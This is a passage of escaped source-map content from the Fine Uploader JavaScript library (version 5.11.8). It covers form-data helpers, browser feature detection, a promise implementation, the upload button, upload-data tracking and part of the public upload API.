qq.each(obj, function(key, val) {\n            key = arrayKeyName ? arrayKeyName + \"[\" + key + \"]\" : key;\n\n            if (qq.isObject(val)) {\n                qq.obj2FormData(val, formData, key);\n            }\n            else if (qq.isFunction(val)) {\n                formData.append(key, val());\n            }\n            else {\n                formData.append(key, val);\n            }\n        });\n\n        return formData;\n    };\n\n    qq.obj2Inputs = function(obj, form) {\n        var input;\n\n        if (!form) {\n            form = document.createElement(\"form\");\n        }\n\n        qq.obj2FormData(obj, {\n            append: function(key, val) {\n                input = document.createElement(\"input\");\n                input.setAttribute(\"name\", key);\n                input.setAttribute(\"value\", val);\n                form.appendChild(input);\n            }\n        });\n\n        return form;\n    };\n\n    /**\n     * Not recommended for use outside of Fine Uploader since this falls back to an unchecked eval if JSON.parse is not\n     * implemented.  For a more secure JSON.parse polyfill, use Douglas Crockford's json2.js.\n     */\n    qq.parseJson = function(json) {\n        /*jshint evil: true*/\n        if (window.JSON && qq.isFunction(JSON.parse)) {\n            return JSON.parse(json);\n        } else {\n            return eval(\"(\" + json + \")\");\n        }\n    };\n\n    /**\n     * Retrieve the extension of a file, if it exists.\n     *\n     * @param filename\n     * @returns {string || undefined}\n     */\n    qq.getExtension = function(filename) {\n        var extIdx = filename.lastIndexOf(\".\") + 1;\n\n        if (extIdx > 0) {\n            return filename.substr(extIdx, filename.length - extIdx);\n        }\n    };\n\n    qq.getFilename = function(blobOrFileInput) {\n        /*jslint regexp: true*/\n\n        if (qq.isInput(blobOrFileInput)) {\n            // get input value and remove path to normalize\n            return blobOrFileInput.value.replace(/.*(\\/|\\\\)/, \"\");\n        }\n        else if (qq.isFile(blobOrFileInput)) {\n            if (blobOrFileInput.fileName !== null && blobOrFileInput.fileName !== undefined) {\n                return blobOrFileInput.fileName;\n            }\n        }\n\n        return blobOrFileInput.name;\n    };\n\n    /**\n     * A generic module which supports object disposing in dispose() method.\n     * */\n    qq.DisposeSupport = function() {\n        var disposers = [];\n\n        return {\n            /** Run all registered disposers */\n            dispose: function() {\n                var disposer;\n                do {\n                    disposer = disposers.shift();\n                    if (disposer) {\n                        disposer();\n                    }\n                }\n                while (disposer);\n            },\n\n            /** Attach event handler and register de-attacher as a disposer */\n            attach: function() {\n                var args = arguments;\n                /*jslint undef:true*/\n                this.addDisposer(qq(args[0]).attach.apply(this, Array.prototype.slice.call(arguments, 1)));\n            },\n\n            /** Add disposer to the collection */\n            addDisposer: function(disposeFunction) {\n                disposers.push(disposeFunction);\n            }\n        };\n    };\n}());\n","/* globals define, module, global, qq */\n(function() {\n    \"use strict\";\n    if (typeof define === \"function\" && define.amd) {\n        define(function() {\n            return qq;\n        });\n    }\n    else if (typeof module !== \"undefined\" && module.exports) {\n        module.exports = qq;\n    }\n    else {\n        global.qq = qq;\n    }\n}());\n","/* globals qq */\n/**\n * Fine Uploader top-level Error container.  Inherits from `Error`.\n */\n(function() {\n    \"use strict\";\n\n    qq.Error = function(message) {\n        this.message = \"[Fine Uploader \" + qq.version + \"] \" + message;\n    };\n\n    qq.Error.prototype = new Error();\n}());\n","/*global qq */\nqq.version = \"5.11.8\";\n","/* globals qq */\nqq.supportedFeatures = (function() {\n    \"use strict\";\n\n    var supportsUploading,\n        supportsUploadingBlobs,\n        supportsFileDrop,\n        supportsAjaxFileUploading,\n        supportsFolderDrop,\n        supportsChunking,\n        supportsResume,\n        supportsUploadViaPaste,\n        supportsUploadCors,\n        supportsDeleteFileXdr,\n        supportsDeleteFileCorsXhr,\n        supportsDeleteFileCors,\n        supportsFolderSelection,\n        supportsImagePreviews,\n        supportsUploadProgress;\n\n    function testSupportsFileInputElement() {\n        var supported = true,\n            tempInput;\n\n        try {\n            tempInput = document.createElement(\"input\");\n            tempInput.type = \"file\";\n            qq(tempInput).hide();\n\n            if (tempInput.disabled) {\n                supported = false;\n            }\n        }\n        catch (ex) {\n            supported = false;\n        }\n\n        return supported;\n    }\n\n    //only way to test for Filesystem API support since webkit does not expose the DataTransfer interface\n    function isChrome21OrHigher() {\n        return (qq.chrome() || qq.opera()) &&\n            navigator.userAgent.match(/Chrome\\/[2][1-9]|Chrome\\/[3-9][0-9]/) !== undefined;\n    }\n\n    //only way to test for complete Clipboard API support at this time\n    function isChrome14OrHigher() {\n        return (qq.chrome() || qq.opera()) &&\n            navigator.userAgent.match(/Chrome\\/[1][4-9]|Chrome\\/[2-9][0-9]/) !== undefined;\n    }\n\n    //Ensure we can send cross-origin `XMLHttpRequest`s\n    function isCrossOriginXhrSupported() {\n        if (window.XMLHttpRequest) {\n            var xhr = qq.createXhrInstance();\n\n            //Commonly accepted test for XHR CORS support.\n            return xhr.withCredentials !== undefined;\n        }\n\n        return false;\n    }\n\n    //Test for (terrible) cross-origin ajax transport fallback for IE9 and IE8\n    function isXdrSupported() {\n        return window.XDomainRequest !== undefined;\n    }\n\n    // CORS Ajax requests are supported if it is either possible to send credentialed `XMLHttpRequest`s,\n    // or if `XDomainRequest` is an available alternative.\n    function isCrossOriginAjaxSupported() {\n        if (isCrossOriginXhrSupported()) {\n            return true;\n        }\n\n        return isXdrSupported();\n    }\n\n    function isFolderSelectionSupported() {\n        // We know that folder selection is only supported in Chrome via this proprietary attribute for now\n        return document.createElement(\"input\").webkitdirectory !== undefined;\n    }\n\n    function isLocalStorageSupported() {\n        try {\n            return !!window.localStorage &&\n                // unpatched versions of IE10/11 have buggy impls of localStorage where setItem is a string\n                qq.isFunction(window.localStorage.setItem);\n        }\n        catch (error) {\n            // probably caught a security exception, so no localStorage for you\n            return false;\n        }\n    }\n\n    function isDragAndDropSupported() {\n        var span = document.createElement(\"span\");\n\n        return (\"draggable\" in span || (\"ondragstart\" in span && \"ondrop\" in span)) &&\n            !qq.android() && !qq.ios();\n    }\n\n    supportsUploading = testSupportsFileInputElement();\n\n    supportsAjaxFileUploading = supportsUploading && qq.isXhrUploadSupported();\n\n    supportsUploadingBlobs = supportsAjaxFileUploading && !qq.androidStock();\n\n    supportsFileDrop = supportsAjaxFileUploading && isDragAndDropSupported();\n\n    supportsFolderDrop = supportsFileDrop && isChrome21OrHigher();\n\n    supportsChunking = supportsAjaxFileUploading && qq.isFileChunkingSupported();\n\n    supportsResume = supportsAjaxFileUploading && supportsChunking && isLocalStorageSupported();\n\n    supportsUploadViaPaste = supportsAjaxFileUploading && isChrome14OrHigher();\n\n    supportsUploadCors = supportsUploading && (window.postMessage !== undefined || supportsAjaxFileUploading);\n\n    supportsDeleteFileCorsXhr = isCrossOriginXhrSupported();\n\n    supportsDeleteFileXdr = isXdrSupported();\n\n    supportsDeleteFileCors = isCrossOriginAjaxSupported();\n\n    supportsFolderSelection = isFolderSelectionSupported();\n\n    supportsImagePreviews = supportsAjaxFileUploading && window.FileReader !== undefined;\n\n    supportsUploadProgress = (function() {\n        if (supportsAjaxFileUploading) {\n            return !qq.androidStock() && !qq.iosChrome();\n        }\n        return false;\n    }());\n\n    return {\n        ajaxUploading: supportsAjaxFileUploading,\n        blobUploading: supportsUploadingBlobs,\n        canDetermineSize: supportsAjaxFileUploading,\n        chunking: supportsChunking,\n        deleteFileCors: supportsDeleteFileCors,\n        deleteFileCorsXdr: supportsDeleteFileXdr, //NOTE: will also return true in IE10, where XDR is also supported\n        deleteFileCorsXhr: supportsDeleteFileCorsXhr,\n        dialogElement: !!window.HTMLDialogElement,\n        fileDrop: supportsFileDrop,\n        folderDrop: supportsFolderDrop,\n        folderSelection: supportsFolderSelection,\n        imagePreviews: supportsImagePreviews,\n        imageValidation: supportsImagePreviews,\n        itemSizeValidation: supportsAjaxFileUploading,\n        pause: supportsChunking,\n        progressBar: supportsUploadProgress,\n        resume: supportsResume,\n        scaling: supportsImagePreviews && supportsUploadingBlobs,\n        tiffPreviews: qq.safari(), // Not the best solution, but simple and probably accurate enough (for now)\n        unlimitedScaledImageSize: !qq.ios(), // false simply indicates that there is some known limit\n        uploading: supportsUploading,\n        uploadCors: supportsUploadCors,\n        uploadCustomHeaders: supportsAjaxFileUploading,\n        uploadNonMultipart: supportsAjaxFileUploading,\n        uploadViaPaste: supportsUploadViaPaste\n    };\n\n}());\n","/*globals qq*/\n\n// Is the passed object a promise instance?\nqq.isGenericPromise = function(maybePromise) {\n    \"use strict\";\n    return !!(maybePromise && maybePromise.then && qq.isFunction(maybePromise.then));\n};\n\nqq.Promise = function() {\n    \"use strict\";\n\n    var successArgs, failureArgs,\n        successCallbacks = [],\n        failureCallbacks = [],\n        doneCallbacks = [],\n        state = 0;\n\n    qq.extend(this, {\n        then: function(onSuccess, onFailure) {\n            if (state === 0) {\n                if (onSuccess) {\n                    successCallbacks.push(onSuccess);\n                }\n                if (onFailure) {\n                    failureCallbacks.push(onFailure);\n                }\n            }\n            else if (state === -1) {\n                onFailure && onFailure.apply(null, failureArgs);\n            }\n            else if (onSuccess) {\n                onSuccess.apply(null, successArgs);\n            }\n\n            return this;\n        },\n\n        done: function(callback) {\n            if (state === 0) {\n                doneCallbacks.push(callback);\n            }\n            else {\n                callback.apply(null, failureArgs === undefined ? successArgs : failureArgs);\n            }\n\n            return this;\n        },\n\n        success: function() {\n            state = 1;\n            successArgs = arguments;\n\n            if (successCallbacks.length) {\n                qq.each(successCallbacks, function(idx, callback) {\n                    callback.apply(null, successArgs);\n                });\n            }\n\n            if (doneCallbacks.length) {\n                qq.each(doneCallbacks, function(idx, callback) {\n                    callback.apply(null, successArgs);\n                });\n            }\n\n            return this;\n        },\n\n        failure: function() {\n            state = -1;\n            failureArgs = arguments;\n\n            if (failureCallbacks.length) {\n                qq.each(failureCallbacks, function(idx, callback) {\n                    callback.apply(null, failureArgs);\n                });\n            }\n\n            if (doneCallbacks.length) {\n                qq.each(doneCallbacks, function(idx, callback) {\n                    callback.apply(null, failureArgs);\n                });\n            }\n\n            return this;\n        }\n    });\n};\n","/* globals qq */\n/**\n * Placeholder for a Blob that will be generated on-demand.\n *\n * @param referenceBlob Parent of the generated blob\n * @param onCreate Function to invoke when the blob must be created.  Must be promissory.\n * @constructor\n */\nqq.BlobProxy = function(referenceBlob, onCreate) {\n    \"use strict\";\n\n    qq.extend(this, {\n        referenceBlob: referenceBlob,\n\n        create: function() {\n            return onCreate(referenceBlob);\n        }\n    });\n};\n","/*globals qq*/\n\n/**\n * This module represents an upload or \"Select File(s)\" button.  It's job is to embed an opaque `<input type=\"file\">`\n * element as a child of a provided \"container\" element.  This \"container\" element (`options.element`) is used to provide\n * a custom style for the `<input type=\"file\">` element.  The ability to change the style of the container element is also\n * provided here by adding CSS classes to the container on hover/focus.\n *\n * TODO Eliminate the mouseover and mouseout event handlers since the :hover CSS pseudo-class should now be\n * available on all supported browsers.\n *\n * @param o Options to override the default values\n */\nqq.UploadButton = function(o) {\n    \"use strict\";\n\n    var self = this,\n\n        disposeSupport = new qq.DisposeSupport(),\n\n        options = {\n            // Corresponds to the `accept` attribute on the associated `<input type=\"file\">`\n            acceptFiles: null,\n\n            // \"Container\" element\n            element: null,\n\n            focusClass: \"qq-upload-button-focus\",\n\n            // A true value allows folders to be selected, if supported by the UA\n            folders: false,\n\n            // **This option will be removed** in the future as the :hover CSS pseudo-class is available on all supported browsers\n            hoverClass: \"qq-upload-button-hover\",\n\n            ios8BrowserCrashWorkaround: false,\n\n            // If true adds `multiple` attribute to `<input type=\"file\">`\n            multiple: false,\n\n            // `name` attribute of `<input type=\"file\">`\n            name: \"qqfile\",\n\n            // Called when the browser invokes the onchange handler on the `<input type=\"file\">`\n            onChange: function(input) {},\n\n            title: null\n        },\n        input, buttonId;\n\n    // Overrides any of the default option values with any option values passed in during construction.\n    qq.extend(options, o);\n\n    buttonId = qq.getUniqueId();\n\n    // Embed an opaque `<input type=\"file\">` element as a child of `options.element`.\n    function createInput() {\n        var input = document.createElement(\"input\");\n\n        input.setAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME, buttonId);\n        input.setAttribute(\"title\", options.title);\n\n        self.setMultiple(options.multiple, input);\n\n        if (options.folders && qq.supportedFeatures.folderSelection) {\n            // selecting directories is only possible in Chrome now, via a vendor-specific prefixed attribute\n            input.setAttribute(\"webkitdirectory\", \"\");\n        }\n\n        if (options.acceptFiles) {\n            input.setAttribute(\"accept\", options.acceptFiles);\n        }\n\n        input.setAttribute(\"type\", \"file\");\n        input.setAttribute(\"name\", options.name);\n\n        qq(input).css({\n            position: \"absolute\",\n            // in Opera only 'browse' button\n            // is clickable and it is located at\n            // the right side of the input\n            right: 0,\n            top: 0,\n            fontFamily: \"Arial\",\n            // It's especially important to make this an arbitrarily large value\n            // to ensure the rendered input button in IE takes up the entire\n            // space of the container element.  Otherwise, the left side of the\n            // button will require a double-click to invoke the file chooser.\n            // In other browsers, this might cause other issues, so a large font-size\n            // is only used in IE.  There is a bug in IE8 where the opacity style is  ignored\n            // in some cases when the font-size is large.  So, this workaround is not applied\n            // to IE8.\n            fontSize: qq.ie() && !qq.ie8() ? \"3500px\" : \"118px\",\n            margin: 0,\n            padding: 0,\n            cursor: \"pointer\",\n            opacity: 0\n        });\n\n        // Setting the file input's height to 100% in IE7 causes\n        // most of the visible button to be unclickable.\n        !qq.ie7() && qq(input).css({height: \"100%\"});\n\n        options.element.appendChild(input);\n\n        disposeSupport.attach(input, \"change\", function() {\n            options.onChange(input);\n        });\n\n        // **These event handlers will be removed** in the future as the :hover CSS pseudo-class is available on all supported browsers\n        disposeSupport.attach(input, \"mouseover\", function() {\n            qq(options.element).addClass(options.hoverClass);\n        });\n        disposeSupport.attach(input, \"mouseout\", function() {\n            qq(options.element).removeClass(options.hoverClass);\n        });\n\n        disposeSupport.attach(input, \"focus\", function() {\n            qq(options.element).addClass(options.focusClass);\n        });\n        disposeSupport.attach(input, \"blur\", function() {\n            qq(options.element).removeClass(options.focusClass);\n        });\n\n        return input;\n    }\n\n    // Make button suitable container for input\n    qq(options.element).css({\n        position: \"relative\",\n        overflow: \"hidden\",\n        // Make sure browse button is in the right side in Internet Explorer\n        direction: \"ltr\"\n    });\n\n    // Exposed API\n    qq.extend(this, {\n        getInput: function() {\n            return input;\n        },\n\n        getButtonId: function() {\n            return buttonId;\n        },\n\n        setMultiple: function(isMultiple, optInput) {\n            var input = optInput || this.getInput();\n\n            // Temporary workaround for bug in in iOS8 UIWebView that causes the browser to crash\n            // before the file chooser appears if the file input doesn't contain a multiple attribute.\n            // See #1283.\n            if (options.ios8BrowserCrashWorkaround && qq.ios8() && (qq.iosChrome() || qq.iosSafariWebView())) {\n                input.setAttribute(\"multiple\", \"\");\n            }\n\n            else {\n                if (isMultiple) {\n                    input.setAttribute(\"multiple\", \"\");\n                }\n                else {\n                    input.removeAttribute(\"multiple\");\n                }\n            }\n        },\n\n        setAcceptFiles: function(acceptFiles) {\n            if (acceptFiles !== options.acceptFiles) {\n                input.setAttribute(\"accept\", acceptFiles);\n            }\n        },\n\n        reset: function() {\n            if (input.parentNode) {\n                qq(input).remove();\n            }\n\n            qq(options.element).removeClass(options.focusClass);\n            input = null;\n            input = createInput();\n        }\n    });\n\n    input = createInput();\n};\n\nqq.UploadButton.BUTTON_ID_ATTR_NAME = \"qq-button-id\";\n","/*globals qq */\nqq.UploadData = function(uploaderProxy) {\n    \"use strict\";\n\n    var data = [],\n        byUuid = {},\n        byStatus = {},\n        byProxyGroupId = {},\n        byBatchId = {};\n\n    function getDataByIds(idOrIds) {\n        if (qq.isArray(idOrIds)) {\n            var entries = [];\n\n            qq.each(idOrIds, function(idx, id) {\n                entries.push(data[id]);\n            });\n\n            return entries;\n        }\n\n        return data[idOrIds];\n    }\n\n    function getDataByUuids(uuids) {\n        if (qq.isArray(uuids)) {\n            var entries = [];\n\n            qq.each(uuids, function(idx, uuid) {\n                entries.push(data[byUuid[uuid]]);\n            });\n\n            return entries;\n        }\n\n        return data[byUuid[uuids]];\n    }\n\n    function getDataByStatus(status) {\n        var statusResults = [],\n            statuses = [].concat(status);\n\n        qq.each(statuses, function(index, statusEnum) {\n            var statusResultIndexes = byStatus[statusEnum];\n\n            if (statusResultIndexes !== undefined) {\n                qq.each(statusResultIndexes, function(i, dataIndex) {\n                    statusResults.push(data[dataIndex]);\n                });\n            }\n        });\n\n        return statusResults;\n    }\n\n    qq.extend(this, {\n        /**\n         * Adds a new file to the data cache for tracking purposes.\n         *\n         * @param spec Data that describes this file.  Possible properties are:\n         *\n         * - uuid: Initial UUID for this file.\n         * - name: Initial name of this file.\n         * - size: Size of this file, omit if this cannot be determined\n         * - status: Initial `qq.status` for this file.  Omit for `qq.status.SUBMITTING`.\n         * - batchId: ID of the batch this file belongs to\n         * - proxyGroupId: ID of the proxy group associated with this file\n         *\n         * @returns {number} Internal ID for this file.\n         */\n        addFile: function(spec) {\n            var status = spec.status || qq.status.SUBMITTING,\n                id = data.push({\n                    name: spec.name,\n                    originalName: spec.name,\n                    uuid: spec.uuid,\n                    size: spec.size == null ? -1 : spec.size,\n                    status: status\n                }) - 1;\n\n            if (spec.batchId) {\n                data[id].batchId = spec.batchId;\n\n                if (byBatchId[spec.batchId] === undefined) {\n                    byBatchId[spec.batchId] = [];\n                }\n                byBatchId[spec.batchId].push(id);\n            }\n\n            if (spec.proxyGroupId) {\n                data[id].proxyGroupId = spec.proxyGroupId;\n\n                if (byProxyGroupId[spec.proxyGroupId] === undefined) {\n                    byProxyGroupId[spec.proxyGroupId] = [];\n                }\n                byProxyGroupId[spec.proxyGroupId].push(id);\n            }\n\n            data[id].id = id;\n            byUuid[spec.uuid] = id;\n\n            if (byStatus[status] === undefined) {\n                byStatus[status] = [];\n            }\n            byStatus[status].push(id);\n\n            uploaderProxy.onStatusChange(id, null, status);\n\n            return id;\n        },\n\n        retrieve: function(optionalFilter) {\n            if (qq.isObject(optionalFilter) && data.length)  {\n                if (optionalFilter.id !== undefined) {\n                    return getDataByIds(optionalFilter.id);\n                }\n\n                else if (optionalFilter.uuid !== undefined) {\n                    return getDataByUuids(optionalFilter.uuid);\n                }\n\n                else if (optionalFilter.status) {\n                    return getDataByStatus(optionalFilter.status);\n                }\n            }\n            else {\n                return qq.extend([], data, true);\n            }\n        },\n\n        reset: function() {\n            data = [];\n            byUuid = {};\n            byStatus = {};\n            byBatchId = {};\n        },\n\n        setStatus: function(id, newStatus) {\n            var oldStatus = data[id].status,\n                byStatusOldStatusIndex = qq.indexOf(byStatus[oldStatus], id);\n\n            byStatus[oldStatus].splice(byStatusOldStatusIndex, 1);\n\n            data[id].status = newStatus;\n\n            if (byStatus[newStatus] === undefined) {\n                byStatus[newStatus] = [];\n            }\n            byStatus[newStatus].push(id);\n\n            uploaderProxy.onStatusChange(id, oldStatus, newStatus);\n        },\n\n        uuidChanged: function(id, newUuid) {\n            var oldUuid = data[id].uuid;\n\n            data[id].uuid = newUuid;\n            byUuid[newUuid] = id;\n            delete byUuid[oldUuid];\n        },\n\n        updateName: function(id, newName) {\n            data[id].name = newName;\n        },\n\n        updateSize: function(id, newSize) {\n            data[id].size = newSize;\n        },\n\n        // Only applicable if this file has a parent that we may want to reference later.\n        setParentId: function(targetId, parentId) {\n            data[targetId].parentId = parentId;\n        },\n\n        getIdsInProxyGroup: function(id) {\n            var proxyGroupId = data[id].proxyGroupId;\n\n            if (proxyGroupId) {\n                return byProxyGroupId[proxyGroupId];\n            }\n            return [];\n        },\n\n        getIdsInBatch: function(id) {\n            var batchId = data[id].batchId;\n\n            return byBatchId[batchId];\n        }\n    });\n};\n\nqq.status = {\n    SUBMITTING: \"submitting\",\n    SUBMITTED: \"submitted\",\n    REJECTED: \"rejected\",\n    QUEUED: \"queued\",\n    CANCELED: \"canceled\",\n    PAUSED: \"paused\",\n    UPLOADING: \"uploading\",\n    UPLOAD_RETRYING: \"retrying upload\",\n    UPLOAD_SUCCESSFUL: \"upload successful\",\n    UPLOAD_FAILED: \"upload failed\",\n    DELETE_FAILED: \"delete failed\",\n    DELETING: \"deleting\",\n    DELETED: \"deleted\"\n};\n","/*globals qq*/\n/**\n * Defines the public API for FineUploaderBasic mode.\n */\n(function() {\n    \"use strict\";\n\n    qq.basePublicApi = {\n        // DEPRECATED - TODO REMOVE IN NEXT MAJOR RELEASE (replaced by addFiles)\n        addBlobs: function(blobDataOrArray, params, endpoint) {\n            this.addFiles(blobDataOrArray, params, endpoint);\n        },\n\n        addInitialFiles: function(cannedFileList) {\n            var self = this;\n\n            qq.each(cannedFileList, function(index, cannedFile) {\n                self._addCannedFile(cannedFile);\n            });\n        },\n\n        addFiles: function(data, params, endpoint) {\n            this._maybeHandleIos8SafariWorkaround();\n\n            var batchId = this._storedIds.length === 0 ? qq.getUniqueId() : this._currentBatchId,\n\n                processBlob = qq.bind(function(blob) {\n                    this._handleNewFile({\n                        blob: blob,\n                        name: this._options.blobs.defaultName\n                    }, batchId, verifiedFiles);\n                }, this),\n\n                processBlobData = qq.bind(function(blobData) {\n                    this._handleNewFile(blobData, batchId, verifiedFiles);\n                }, this),\n\n                processCanvas = qq.bind(function(canvas) {\n                    var blob = qq.canvasToBlob(canvas);\n\n                    this._handleNewFile({\n                        blob: blob,\n                        name: this._options.blobs.defaultName + \".png\"\n                    }, batchId, verifiedFiles);\n                }, this),\n\n                processCanvasData = qq.bind(function(canvasData) {\n                    var normalizedQuality = canvasData.quality && canvasData.quality / 100,\n                        blob = qq.canvasToBlob(canvasData.canvas, canvasData.type, normalizedQuality);\n\n                    this._handleNewFile({\n                        blob: blob,\n                        name: canvasData.name\n                    }, batchId, verifiedFiles);\n                }, this),\n\n                processFileOrInput = qq.bind(function(fileOrInput) {\n                    if (qq.isInput(fileOrInput) && qq.supportedFeatures.ajaxUploading) {\n                        var files = Array.prototype.slice.call(fileOrInput.files),\n                            self = this;\n\n                        qq.each(files, function(idx, file) {\n                            self._handleNewFile(file, batchId, verifiedFiles);\n                        });\n                    }\n                    else {\n                        this._handleNewFile(fileOrInput, batchId, verifiedFiles);\n                    }\n                }, this),\n\n                normalizeData = function() {\n                    if (qq.isFileList(data)) {\n                        data = Array.prototype.slice.call(data);\n                    }\n                    data = [].concat(data);\n                },\n\n                self = this,\n                verifiedFiles = [];\n\n            this._currentBatchId = batchId;\n\n            if (data) {\n                normalizeData();\n\n                qq.each(data, function(idx, fileContainer) {\n                    if (qq.isFileOrInput(fileContainer)) {\n                        processFileOrInput(fileContainer);\n                    }\n                    else if (qq.isBlob(fileContainer)) {\n                        processBlob(fileContainer);\n                    }\n                    else if (qq.isObject(fileContainer)) {\n                        if (fileContainer.blob && fileContainer.name) {\n                            processBlobData(fileContainer);\n                        }\n                        else if (fileContainer.canvas && fileContainer.name) {\n                            processCanvasData(fileContainer);\n                        }\n                    }\n                    else if (fileContainer.tagName && fileContainer.tagName.toLowerCase() === \"canvas\") {\n                        processCanvas(fileContainer);\n                    }\n                    else {\n                        self.log(fileContainer + \" is not a valid file container!  Ignoring!\", \"warn\");\n                    }\n                });\n\n                this.log(\"Received \" + verifiedFiles.length + \" files.\");\n                this._prepareItemsForUpload(verifiedFiles, params, endpoint);\n            }\n        },\n\n        cancel: function(id) {\n            this._handler.cancel(id);\n        },\n\n        cancelAll: function() {\n            var storedIdsCopy = [],\n                self = this;\n\n            qq.extend(storedIdsCopy, this._storedIds);\n            qq.each(storedIdsCopy, function(idx, storedFileId) {\n                self.cancel(storedFileId);\n            });\n\n            this._handler.cancelAll();\n        },\n\n        clearStoredFiles: function() {\n            this._storedIds = [];\n        },\n\n        continueUpload: function(id) {\n            var uploadData = this._uploadData.retrieve({id: id});\n\n            if (!qq.supportedFeatures.pause || !this._options.chunking.enabled) {\n                return false;\n            }\n\n            if (uploadData.status === qq.status.PAUSED) {\n                this.log(qq.format(\"Paused file ID {} ({}) will be continued.  Not paused.\", id, this.getName(id)));\n                this._uploadFile(id);\n                return true;\n            }\n            else {\n                this.log(qq.format(\"Ignoring continue for file ID {} ({}).  Not paused.\", id, this.getName(id)), \"error\");\n            }\n\n            return false;\n        },\n\n        deleteFile: function(id) {\n            return this._onSubmitDelete(id);\n        },\n\n        // TODO document?\n        doesExist: function(fileOrBlobId) {\n            return this._handler.isValid(fileOrBlobId);\n        },\n\n        // Generate a variable size thumbnail on an img or canvas,\n        // returning a promise that is fulfilled when the attempt completes.\n        // Thumbnail can either be based off of a URL for an image returned\n        // by the server in the upload response, or the associated `Blob`.\n        drawThumbnail: function(fileId, imgOrCanvas, maxSize, fromServer, customResizeFunction) {\n            var promiseToReturn = new qq.Promise(),\n                fileOrUrl, options;\n\n            if (this._imageGenerator) {\n                fileOrUrl = this._thumbnailUrls[fileId];\n                options = {\n                    customResizeFunction: customResizeFunction,\n                    maxSize: maxSize > 0 ? maxSize : null,\n                    scale: maxSize > 0\n                };\n\n                // If client-side preview generation is possible\n                // and we are not specifically looking for the image URl returned by the server...\n                if (!fromServer && qq.supportedFeatures.imagePreviews) {\n                    fileOrUrl = this.getFile(fileId);\n                }\n\n                /* jshint eqeqeq:false,eqnull:true */\n                if (fileOrUrl == null) {\n                    promiseToReturn.failure({container: imgOrCanvas, error: \"File or URL not found.\"});\n                }\n                else {\n                    this._imageGenerator.generate(fileOrUrl, imgOrCanvas, options).then(\n                        function success(modifiedContainer) {\n                            promiseToReturn.success(modifiedContainer);\n                        },\n\n                        function failure(container, reason) {\n                            promiseToReturn.failure({container: container, error: reason || \"Problem generating thumbnail\"});\n                        }\n                    );\n                }\n            }\n            else {\n                promiseToReturn.failure({container: imgOrCanvas, error: \"Missing image generator module\"});\n            }\n\n            return promiseToReturn;\n        },\n\n        getButton: function(fileId) {\n            return this._getButton(this._buttonIdsForFileIds[fileId]);\n        },\n\n        getEndpoint: function(fileId) {\n            return this._endpointStore.get(fileId);\n        },\n\n        getFile: function(fileOrBlobId) {\n            return this._handler.getFile(fileOrBlobId) || null;\n        },\n\n        getInProgress: function() {\n            return this._uploadData.retrieve({\n                status: [\n                    qq.status.UPLOADING,\n                    qq.status.UPLOAD_RETRYING,\n                    qq.status.QUEUED\n                ]\n            }).length;\n        },\n\n        getName: function(id) {\n            return this._uploadData.retrieve({id: id}).name;\n        },\n\n        // Parent ID for a specific file, or null if this is the parent, or if it has no parent.\n        getParentId: function(id) {\n            var uploadDataEntry = this.getUploads({id: id}),\n                parentId = null;\n\n            if (uploadDataEntry) {\n                if (uploadDataEntry.parentId !== undefined) {\n                    parentId = uploadDataEntry.parentId;\n                }\n            }\n\n            return parentId;\n        },\n\n        getResumableFilesData: function() {\n            return this._handler.getResumableFilesData();\n        },\n\n        getSize: function(id) {\n            return this._uploadData.retrieve({id: id}).size;\n        },\n\n        getNetUploads: function() {\n            return this._netUploaded;\n        },\n\n        getRemainingAllowedItems: function() {\n            var allowedItems = this._currentItemLimit;\n\n            if (allowedItems > 0) {\n                return allowedItems - this._netUploadedOrQueued;\n            }\n\n            return null;\n        },\n\n        getUploads: function(optionalFilter) {\n            return this._uploadData.retrieve(optionalFilter);\n        },\n\n        getUuid: function(id) {\n            return this._uploadData.retrieve({id: id}).uuid;\n        },\n\n        log: function(str, level) {\n            if (this._options.debug && (!level || level === \"info\")) {\n                qq.log(\"[Fine Uploader \" + qq.version + \"] \" + str);\n            }\n            else if (level && level !== \"info\") {\n                qq.log(\"[Fine Uploader \" + qq.version + \"] \" + str, level);\n\n            }\n        },\n\n        pauseUpload: function(id) {\n            var uploadData = this._uploadData.retrieve({id: id});\n\n            if (!qq.supportedFeatures.pause || !this._options.chunking.enabled) {\n                return false;\n            }\n\n            // Pause only really makes sense if the file is uploading or retrying\n            if (qq.indexOf([qq.status.UPLOADING, qq.status.UPLOAD_RETRYING], uploadData.status) >= 0) {\n                if (this._handler.pause(id)) {\n                    this._uploadData.setStatus(id, qq.status.PAUSED);\n                    return true;\n                }\n                else {\n                    this.log(qq.format(\"Unable to pause file ID {} ({}).\", id, this.getName(id)), \"error\");\n                }\n            }\n            else {\n                this.log(qq.format(\"Ignoring pause for file ID {} ({}).  Not in progress.\", id, this.getName(id)), \"error\");\n            }\n\n            return false;\n        },\n\n        reset: function() {\n            this.log(\"Resetting uploader...\");\n\n            this._handler.reset();\n            this._storedIds = [];\n            this._autoRetries = [];\n            this._retryTimeouts = [];\n            this._preventRetries = [];\n            this._thumbnailUrls = [];\n\n            qq.each(this._buttons, function(idx, button) {\n                button.reset();\n            });\n\n            this._paramsStore.reset();\n            this._endpointStore.reset();\n            this._netUploadedOrQueued = 0;\n            this._netUploaded = 0;\n            this._uploadData.reset();\n            this._buttonIdsForFileIds = [];\n\n            this._pasteHandler && this._pasteHandler.reset();\n            this._options.session.refreshOnReset && this._refreshSessionData();\n\n            this._succeededSinceLastAllComplete = [];\n            this._failedSinceLastAllComplete = [];\n\n            this._totalProgress && this._totalProgress.reset();\n        },\n\n        retry: function(id) {\n            return this._manualRetry(id);\n        },\n\n        scaleImage: function(id, specs) {\n            var self = this;\n\n            return qq.Scaler.prototype.scaleImage(id, specs, {\n                log: qq.bind(self.log, self),\n                getFile: qq.bind(self.getFile, self),\n                uploadData: self._uploadData\n            });\n        },\n\n        setCustomHeaders: function(headers, id) {\n            this._customHeadersStore.set(headers, id);\n        },\n\n        setDeleteFileCustomHeaders: function(headers, id) {\n            this._deleteFileCustomHeadersStore.set(headers, id);\n        },\n\n        setDeleteFileEndpoint: function(endpoint, id) {\n            this._deleteFileEndpointStore.set(endpoint, id);\n        },\n\n        setDeleteFileParams: function(params, id) {\n            this._deleteFileParamsStore.set(params, id);\n        },\n\n        // Re-sets the default endpoint, an endpoint for a specific file, or an endpoint for a specific button\n        setEndpoint: function(endpoint, id) {\n            this._endpointStore.set(endpoint, id);\n        },\n\n        setForm: function(elementOrId) {\n            this._updateFormSupportAndParams(elementOrId);\n        },\n\n        setItemLimit: function(newItemLimit) {\n            this._currentItemLimit = newItemLimit;\n        },\n\n        setName: function(id, newName) {\n            this._uploadData.updateName(id, newName);\n        